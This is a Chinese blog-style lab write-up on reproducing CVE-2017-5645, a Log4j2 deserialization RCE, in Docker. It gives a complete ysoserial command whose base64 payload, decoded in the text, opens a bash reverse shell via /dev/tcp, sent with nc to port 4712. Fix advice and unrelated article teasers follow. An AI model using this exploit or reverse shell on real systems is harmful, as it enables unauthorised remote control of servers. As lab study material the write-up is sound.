CVE-2017-5645(使用 docker 搭建)

server/2025/3/19 4:17:25/

介绍:

是一个与 Apache Log4j2 相关的安全漏洞,属于远程代码执行,它可能允许攻击者通过构造恶意的日志信息 在目标系统上执行任意代码

Log4j2 介绍

Log4j2 是 Apache 的一个日志记录工具,属于 Java 应用的日志框架,它是 Log4j 的升级版,性能更好,功能更多.它被广泛的适用于 Java 应用程序中,帮助开发者记录程序运行的时候的日子信息,是 Java 生态系统中最重要的一个日志框架之一

  • 漏洞编号: CVE-2017-5645
  • 漏洞类型:远程代码执行(RCE)
  • 收影响组件:Apache log4j
  • 漏洞触发原理:
    • Log4j2 支持通过 SocketAppender 或者 SocketHubAppender 接受远程日志信息
    • 在处理这些日志信息的时候 Log4j2 会对信息进行反序列化操作
    • 由于未对反序列化数据进行检查,攻击者可以构造恶意的序列化对象,嵌入恶意代码
    • 当系统中处理这些恶意日志消息的时候,会触发反序列漏洞,从而导致任意代码执行
  • 漏洞利用:

    • 环境起来以后将会在 4712 端口开一个 tcp 服务,使用ysoserial生成 payload 发送到 4712 端口即可!

ysoserial 介绍

ysoserial 是一个用于生成 Java 反序列化漏洞利用代码的开源工具

 工具地址:
https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

    • 直接利用 4712 端口的 TCP 服务反弹 shell 即可
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.100.102 4712

详细介绍

使用base64解码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjgvMTIzNCAwPiYx

结果为:bash -i >& /dev/tcp/192.168.12.8/1234 0>&1

bash -i 是一个启动交互式的 bashh shell

>& /dev/tcp/..... 将 shell 的输入/输出重定向到 Tcp 套接字

0>&1 将标准输入(文件描述 0)和标准输出(文件描述 1)合并,并且实现双向通信

这里可以看到,反弹shell 直接拿下!

  • 修复建议:
    • 升级到安全版本,升级到 log4j 2.8.2 或者更高的版本
    • 禁用反序列化功能
      • 如果无法立即升级,可以通过配置 log4j 的反序列化功能
    • 限制网络访问
    • 监控日志分析

总结:

要理解原理,理解原理之后再去复现就会有更加深入的理解!


http://www.ppmy.cn/server/176145.html

相关文章

系统可观测性(5)OpenTelemetry基础使用

系统可观测性(5)OpenTelemetry基础概念 Author: Once Day Date: 2025年3月12日 一位热衷于Linux学习和开发的菜鸟,试图谱写一场冒险之旅,也许终点只是一场白日梦… 漫漫长路,有人对你微笑过嘛… 本文档翻译整理自《OpenTelemetry Docs》&a…

《Operating System Concepts》阅读笔记:p309-p330

《Operating System Concepts》学习第 29 天,p309-p330 总结,总计 22 页。 一、技术总结 1.Python 中的并发编程 (1)semaphore class threading.Semaphore(value1)。 (2)condition variable class threading.Condition(lockNone) 书上使用的是 Ja…

C语言之 循环语句:程序运行的核心动力(上)

个人主页:strive-debug 在 C 语言中,分支结构可以通过 if、switch 语句来实现,循环结构则可以通过 for、while、do while 语句来实现。 if 语句 if 语句的语法形式如下: if (表达式)语句; 如果表达式成立(为真&am…

【数学建模】层次分析法(AHP)详解及其应用

层次分析法(AHP)详解及其应用 引言 在现实生活和工作中,我们经常面临复杂的决策问题,这些问题通常涉及多个评价准则,且各准则之间可能存在相互影响。如何在这些复杂因素中做出合理的决策?层次分析法(Analytic Hierarchy Process…

如何玩DeepSeek!15分钟快速创建GIS动态数据可视化仪表盘

DeepSeek最近火遍全球,大家用的都用的不亦乐乎。国外呢?当然也是,最近一上YouTube、X等都是deepseek的推送。 今天介绍一下,我在YouTube上看到的GIS行业与DeepSeek结合的一个案例: 快速轻松构建交互式地图仪表盘&…

从零搭建微服务项目Pro(第6-1章——Spring Security+JWT实现用户鉴权访问与token刷新)

前言: 在现代的微服务架构中,用户鉴权和访问控制是非常重要的一部分。Spring Security 是 Spring 生态中用于处理安全性的强大框架,而 JWT(JSON Web Token)则是一种轻量级的、自包含的令牌机制,广泛用于分…

SiC/GaN器件测试新选择:MHO5000如何破解高频开关噪声难题?

引言:宽禁带半导体的“高频挑战” 在新能源汽车、光伏逆变器、5G基站等高端领域,SiC(碳化硅)和GaN(氮化镓)器件因其高频、高功率密度特性,成为下一代电力电子设备的核心。然而,其高频…

IP关联的定义和避免方法

大家好!今天我们来聊一聊一个在运营多个网络账号时会遇到的重要问题——IP关联。对于那些正在运营多个账号或者进行多窗口任务的朋友们,这无疑是一个你必须关注的问题。IP关联,简单来说,就是多个账号在使用相同IP地址的情况下进行…